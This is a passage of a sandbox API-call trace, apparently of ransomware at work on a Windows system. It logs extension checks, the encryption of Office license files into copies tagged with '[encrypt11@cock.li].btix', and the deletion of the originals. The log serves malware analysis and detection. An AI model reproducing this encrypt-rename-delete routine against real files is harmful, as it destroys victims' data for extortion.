[0141.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0141.441] lstrlenW (lpString=".dbf") returned 4 [0141.441] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0141.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0141.441] lstrlenW (lpString=".1cd") returned 4 [0141.441] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0141.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0141.441] lstrlenW (lpString=".jpg") returned 4 [0141.441] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0141.441] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0141.452] lstrlenW (lpString="AccessR_Grace-ppd.xrm-ms") returned 24 [0141.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0141.715] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=20775) returned 1 [0141.715] CloseHandle (hObject=0x550) returned 1 [0141.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 0x220 [0141.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0141.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0141.926] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.926] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0141.928] GetLastError () returned 0x0 [0141.928] ReadFile (in: hFile=0x558, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x5127, lpOverlapped=0x0) returned 1 [0141.932] WriteFile (in: hFile=0x55c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x5130, lpOverlapped=0x0) returned 1 [0141.933] ReadFile (in: hFile=0x558, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0141.933] WriteFile (in: hFile=0x55c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x104, lpOverlapped=0x0) returned 1 [0141.934] SetEndOfFile (hFile=0x55c) returned 1 [0141.934] CloseHandle (hObject=0x55c) returned 1 [0141.934] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.934] SetEndOfFile (hFile=0x558) returned 1 [0141.937] CloseHandle (hObject=0x558) returned 1 [0141.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 1 [0141.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0141.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0141.938] lstrlenW (lpString=".doc") returned 4 [0141.938] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0141.938] lstrlenW (lpString=".docx") returned 5 [0141.938] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0141.938] lstrlenW (lpString=".pdf") returned 4 [0141.938] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0141.938] lstrlenW (lpString=".xls") returned 4 [0141.939] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0141.939] lstrlenW (lpString=".xlsx") returned 5 [0141.939] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0141.939] lstrlenW (lpString=".ppt") returned 4 [0141.939] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0141.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0141.939] lstrlenW (lpString=".zip") returned 4 [0141.939] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0141.939] lstrlenW (lpString=".rar") returned 4 [0141.939] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0141.939] lstrlenW (lpString=".bz2") returned 4 [0141.939] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0141.939] lstrlenW (lpString=".7z") returned 3 [0141.939] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0141.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0141.939] lstrlenW (lpString=".dbf") returned 4 [0141.939] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0141.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0141.939] lstrlenW (lpString=".1cd") returned 4 [0141.939] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0141.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0141.939] lstrlenW (lpString=".jpg") returned 4 [0141.939] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0141.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0141.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0141.939] lstrlenW (lpString=".doc") returned 4 [0141.939] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0141.940] lstrlenW (lpString=".docx") returned 5 [0141.940] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0141.940] lstrlenW (lpString=".pdf") returned 4 [0141.940] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0141.940] lstrlenW (lpString=".xls") returned 4 [0141.940] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0141.940] lstrlenW (lpString=".xlsx") returned 5 [0141.940] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0141.940] lstrlenW (lpString=".ppt") returned 4 [0141.940] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0141.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0141.940] lstrlenW (lpString=".zip") returned 4 [0141.940] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0141.940] lstrlenW (lpString=".rar") returned 4 [0141.940] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0141.940] lstrlenW (lpString=".bz2") returned 4 [0141.940] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0141.940] lstrlenW (lpString=".7z") returned 3 [0141.940] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0141.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0141.940] lstrlenW (lpString=".dbf") returned 4 [0141.940] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0141.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0141.941] lstrlenW (lpString=".1cd") returned 4 [0141.941] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0141.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0141.941] lstrlenW (lpString=".jpg") returned 4 [0141.941] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0141.941] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0141.941] lstrlenW (lpString="AccessR_OEM_Perp-ul-oob.xrm-ms") returned 30 [0141.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0141.941] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=11587) returned 1 [0141.941] CloseHandle (hObject=0x558) returned 1 [0141.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0141.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0141.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0141.942] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.942] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0141.943] GetLastError () returned 0x0 [0141.943] ReadFile (in: hFile=0x558, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x2d43, lpOverlapped=0x0) returned 1 [0141.967] WriteFile (in: hFile=0x55c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0141.968] ReadFile (in: hFile=0x558, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0141.968] WriteFile (in: hFile=0x55c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x110, lpOverlapped=0x0) returned 1 [0141.968] SetEndOfFile (hFile=0x55c) returned 1 [0141.968] CloseHandle (hObject=0x55c) returned 1 [0141.968] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.968] SetEndOfFile (hFile=0x558) returned 1 [0141.971] CloseHandle (hObject=0x558) returned 1 [0141.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 1 [0141.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0141.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0141.972] lstrlenW (lpString=".doc") returned 4 [0141.972] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0141.973] lstrlenW (lpString=".docx") returned 5 [0141.973] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0141.973] lstrlenW (lpString=".pdf") returned 4 [0141.973] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0141.973] lstrlenW (lpString=".xls") returned 4 [0141.973] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0141.973] lstrlenW (lpString=".xlsx") returned 5 [0141.973] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0141.973] lstrlenW (lpString=".ppt") returned 4 [0141.973] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0141.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0141.973] lstrlenW (lpString=".zip") returned 4 [0141.973] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0141.973] lstrlenW (lpString=".rar") returned 4 [0141.973] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0141.973] lstrlenW (lpString=".bz2") returned 4 [0141.973] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0141.973] lstrlenW (lpString=".7z") returned 3 [0141.973] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0141.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0141.973] lstrlenW (lpString=".dbf") returned 4 [0141.973] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0141.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0141.973] lstrlenW (lpString=".1cd") returned 4 [0141.973] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0141.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0141.973] lstrlenW (lpString=".jpg") returned 4 [0141.974] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0141.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0141.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0141.974] lstrlenW (lpString=".doc") returned 4 [0141.974] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0141.974] lstrlenW (lpString=".docx") returned 5 [0141.974] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0141.974] lstrlenW (lpString=".pdf") returned 4 [0141.974] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0141.974] lstrlenW (lpString=".xls") returned 4 [0141.974] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0141.974] lstrlenW (lpString=".xlsx") returned 5 [0141.974] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0141.974] lstrlenW (lpString=".ppt") returned 4 [0141.974] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0141.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0141.974] lstrlenW (lpString=".zip") returned 4 [0141.974] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0141.974] lstrlenW (lpString=".rar") returned 4 [0141.974] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0141.974] lstrlenW (lpString=".bz2") returned 4 [0141.974] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0141.974] lstrlenW (lpString=".7z") returned 3 [0141.974] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0141.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0141.974] lstrlenW (lpString=".dbf") returned 4 [0141.975] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0141.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0141.975] lstrlenW (lpString=".1cd") returned 4 [0141.975] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0141.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0141.975] lstrlenW (lpString=".jpg") returned 4 [0141.975] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0141.976] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0141.976] lstrlenW (lpString="AccessR_OEM_Perp-ul-phn.xrm-ms") returned 30 [0141.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0141.983] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=19932) returned 1 [0141.983] CloseHandle (hObject=0x4a0) returned 1 [0141.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0141.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0141.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0141.984] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.984] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0141.985] GetLastError () returned 0x0 [0141.985] ReadFile (in: hFile=0x4a0, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x4ddc, lpOverlapped=0x0) returned 1 [0141.999] WriteFile (in: hFile=0x4b4, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0142.000] ReadFile (in: hFile=0x4a0, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.000] WriteFile (in: hFile=0x4b4, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x110, lpOverlapped=0x0) returned 1 [0142.000] SetEndOfFile (hFile=0x4b4) returned 1 [0142.000] CloseHandle (hObject=0x4b4) returned 1 [0142.001] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.001] SetEndOfFile (hFile=0x4a0) returned 1 [0142.003] CloseHandle (hObject=0x4a0) returned 1 [0142.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 1 [0142.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0142.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0142.004] lstrlenW (lpString=".doc") returned 4 [0142.004] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.004] lstrlenW (lpString=".docx") returned 5 [0142.004] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.004] lstrlenW (lpString=".pdf") returned 4 [0142.004] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.004] lstrlenW (lpString=".xls") returned 4 [0142.004] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.004] lstrlenW (lpString=".xlsx") returned 5 [0142.004] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.004] lstrlenW (lpString=".ppt") returned 4 [0142.004] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0142.005] lstrlenW (lpString=".zip") returned 4 [0142.005] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.005] lstrlenW (lpString=".rar") returned 4 [0142.005] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.005] lstrlenW (lpString=".bz2") returned 4 [0142.005] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.005] lstrlenW (lpString=".7z") returned 3 [0142.005] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0142.005] lstrlenW (lpString=".dbf") returned 4 [0142.005] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0142.322] lstrlenW (lpString=".1cd") returned 4 [0142.322] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0142.322] lstrlenW (lpString=".jpg") returned 4 [0142.322] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0142.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0142.322] lstrlenW (lpString=".doc") returned 4 [0142.322] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.322] lstrlenW (lpString=".docx") returned 5 [0142.322] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.322] lstrlenW (lpString=".pdf") returned 4 [0142.322] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.322] lstrlenW (lpString=".xls") returned 4 [0142.322] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.322] lstrlenW (lpString=".xlsx") returned 5 [0142.323] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.323] lstrlenW (lpString=".ppt") returned 4 [0142.323] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0142.323] lstrlenW (lpString=".zip") returned 4 [0142.323] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.323] lstrlenW (lpString=".rar") returned 4 [0142.323] lstrcmpiW 